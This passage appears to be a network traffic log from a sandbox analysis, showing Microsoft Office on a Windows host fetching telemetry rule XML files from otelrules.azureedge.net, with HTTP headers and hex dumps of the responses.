2024-11-18 04:57:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:33 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: d62d9096-801e-0048-06af-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045733Z-16547b76f7ff9zf4hC1DFW2pfc00000002yg0000000066x4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:33 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:33 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:33 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 258ea299-f01e-0096-72c4-3710ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045733Z-1866b5c5fbbfrdddhC1DFW7e9000000001eg000000001vek x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:33 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:33 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:33 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 10622547-201e-0085-529f-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045733Z-16547b76f7fm8pcwhC1DFWaxcc00000003d000000000b92t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:33 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:33 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 36c9bc1a-b01e-003e-0509-378e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045734Z-1866b5c5fbbvz6qbhC1DFWsyms00000004k0000000006g05 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045734Z-16547b76f7fljddfhC1DFWeqbs000000066g0000000056f2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045734Z-16547b76f7f5b5tthC1DFWuk840000000410000000001rma x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:34 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045734Z-16547b76f7fht2hfhC1DFWbngg00000005n000000000kpqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:34 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:34 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:34 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 74f3deb4-c01e-0049-80d2-37ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045734Z-1866b5c5fbbkbjq9hC1DFWf1es000000044g00000000pttd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:34 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:34 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:34 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2374d1b0-301e-0020-6d09-376299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045734Z-1866b5c5fbbz7hb5hC1DFWru7c0000000590000000008ck4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:34 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:35 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:35 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045735Z-16547b76f7fljddfhC1DFWeqbs000000063000000000hdfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 04:57:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:35 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 787388c3-601e-0070-268f-37a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045735Z-164f84587bfm8kdnhC1DFWey4g00000005h0000000000a5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	60348	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 04:57:35 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 04:57:35 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 04:57:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 311bbf91-201e-006e-1d26-37bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T045735Z-164f84587bf7k72dhC1DFWvczs000000057g00000000m0d8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 04:57:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data 